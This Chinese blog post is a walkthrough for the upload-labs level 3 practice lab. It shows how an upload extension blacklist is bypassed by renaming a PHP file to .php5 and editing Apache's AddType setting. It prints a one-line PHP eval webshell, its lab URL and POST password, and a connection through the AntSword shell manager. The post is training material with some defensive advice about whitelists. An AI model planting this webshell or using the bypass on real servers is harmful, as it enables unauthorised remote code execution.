当前位置: 首页 > news >正文

upload-labs通关笔记-第3关 文件上传之黑名单绕过

目录

一、实验准备

1.构造脚本

2.打开靶场第三关

3.源码分析

4.修改配置使支持php后缀

(1)切换php ts版本

(2)定位httpd.conf文件

(3)修改AddType application字段

(4)重启小皮

二、文件上传渗透

1.修改脚本后缀

2.上传脚本

3.右键获取文件地址

4.成功访问脚本

5.蚁剑连接脚本


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第三关文件黑名单渗透实战,通过绕过服务器的黑名单后缀法完成渗透。

一、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息,命名为ljn_post_0628.php,脚本code内容如下所示。

<?php @eval($_POST[ljn_0628]); ?> 

2.打开靶场第三关

firefox打开firefox靶场文件上传黑名单关卡。

http://192.168.59.1/upload-labs/Pass-03/index.php

进入文件上传pass03关卡,需要手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

此关卡为服务端检测传上去的文件是否为图片,需通过源码来进行分析。点击查看源码,如下所示通过禁止'.asp','.aspx','.php','.jsp'四种后缀的文件上传防止上传恶意脚本。

可以看出程序中只是做了个简单的后缀名黑名单,识别上传文件的类型 查看是否是'.asp', '.aspx', '.php', '.jsp'中的一个,若果是其中的一个,则不允许上传,但是可以上传如.php3,.php5等后缀,仍然可以被利用,故而还是建议使用白名单过滤。综上所述,本段代码有黑名单过滤风险。

  • 仅禁止 .asp, .aspx, .php, .jsp,但可能遗漏其他可执行扩展名(如 .php5, .phtml)。
  • 建议改用白名单(如只允许 .jpg, .png)。

4.修改配置使支持php后缀

​​​​​通过代码审计,我们知道本关卡不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有需要配置支持.php5后缀代码执行(靶场应该是配置好的,如果是本地复现,需要配置)。

    AddType application/x-httpd-php .php5

该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名。具体方法为配置httpd.conf文件,达到使用我们添加的文件后缀php5仍然以.php解析。

(1)切换php ts版本

首先需要将网站切换为php的ts版本,网址-管理php版本如下所示。

PHPStudy中AddType application/x-httpd-php等Apache命令之所以在Apache的设置文件中设置后未实现目标效果是由于PHP的版本不符导致的,但注意这里的PHP版本并不是指PHP7.3.0、PHP7.4.0这种版本号,也不是适用于32位的PHP、适用于64位的PHP这种不同机型的版本,而是PHP的NTS(Non Thread Safe)与TS(Thread Safe)的这种不同版本导致的。 

(2)定位httpd.conf文件

首先进入httpd.conf文件,点击小皮-设置-配置文件,httpd.conf,然后点击Apache2.4.39进入。

httpd.conf文件的位置如下所示。

(3)修改AddType application字段

Ctrl +F查找AddType application关键字。

修改httpd.conf文件里的AddType application/x-httpd-php。

将php5加到php解析类型中,该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名,从而绕过pass3的黑名单防范。

    AddType application/x-httpd-php .php .html .php5

(4)重启小皮

修改完配置文件记得要重启一下phpstudy服务环境。

所以由于服务端采用黑名单的过滤方式, 这里可以使用php5或phtml等的后缀上传,修改后缀名php5后缀名,也是可以当做php脚本解析的

二、文件上传渗透

1.修改脚本后缀

将php脚本的后缀改名为php5,为了具有区分度将文件名加上日期相关,如下所示,复制脚本ljn_post2_0628.php,并将其重命名为ljn_post2_0628.php5,通过文本编辑器打开图片后效果如下所示。

2.上传脚本

upload靶场点击上传,如下所示。

如下所示脚本上传成功。

3.右键获取文件地址

接下来在上传成功的图片处,右键选择获取图片地址,具体如下所示。

http://192.168.59.1/upload-labs/upload/202306270324316671.php5

4.成功访问脚本

访问上传成功后的脚本,如下所示上传成功。

一句话木马网址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
post参数:ljn_0628=phpinfo();

5.蚁剑连接脚本

蚁剑恶意木马地址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
密码:ljn_0628

连接成功后,效果如下所示。

右键选择文件管理,如下所示渗透成功。

相关文章:

  • 深度Q网络(DQN)的基本概念
  • Mirror的多人连接管理及房间系统
  • 第六节第二部分:抽象类的应用-模板方法设计模式
  • 为什么企业需要加密软件?
  • 经典中的经典-比特币白皮书中文版
  • B站PWN教程笔记-10
  • 集成设备管理(IDM)
  • uart16550详细说明
  • 【Canda】常用命令+虚拟环境创建到选择
  • 操作系统导论——第28章 锁
  • 根据输入的数据渲染柱形图
  • 2.重建大师输入输出数据格式介绍
  • 电池自动点焊机:多领域电池制造的核心设备
  • MCU程序加密保护(一)闪存读写保护法 加密与解密
  • nginx配置反向代理支持CORS跨域请求
  • Leetcode (力扣)做题记录 hot100(49,136,169,20)
  • 关于vue 本地代理
  • Cookie、 Local Storage、 Session Storage三种客户端存储方式
  • Model Context Protocol -MCP创建Agent - Part1
  • 力扣-1.两数之和
  • 第78届戛纳电影节开幕,罗伯特·德尼罗领取终身成就奖
  • 三亚通报救护车省外拉警报器开道旅游:违规违法,责令公司停业整顿
  • A股三大股指涨跌互现:银行股领涨,两市成交12915亿元
  • 比特币挖矿公司GRYP股价涨超171%:将与特朗普儿子创设的公司合并
  • 甩掉“肥胖刺客”,科学减重指南来了
  • 新造古镇丨乌镇的水太包容了,可以托举住任何一种艺术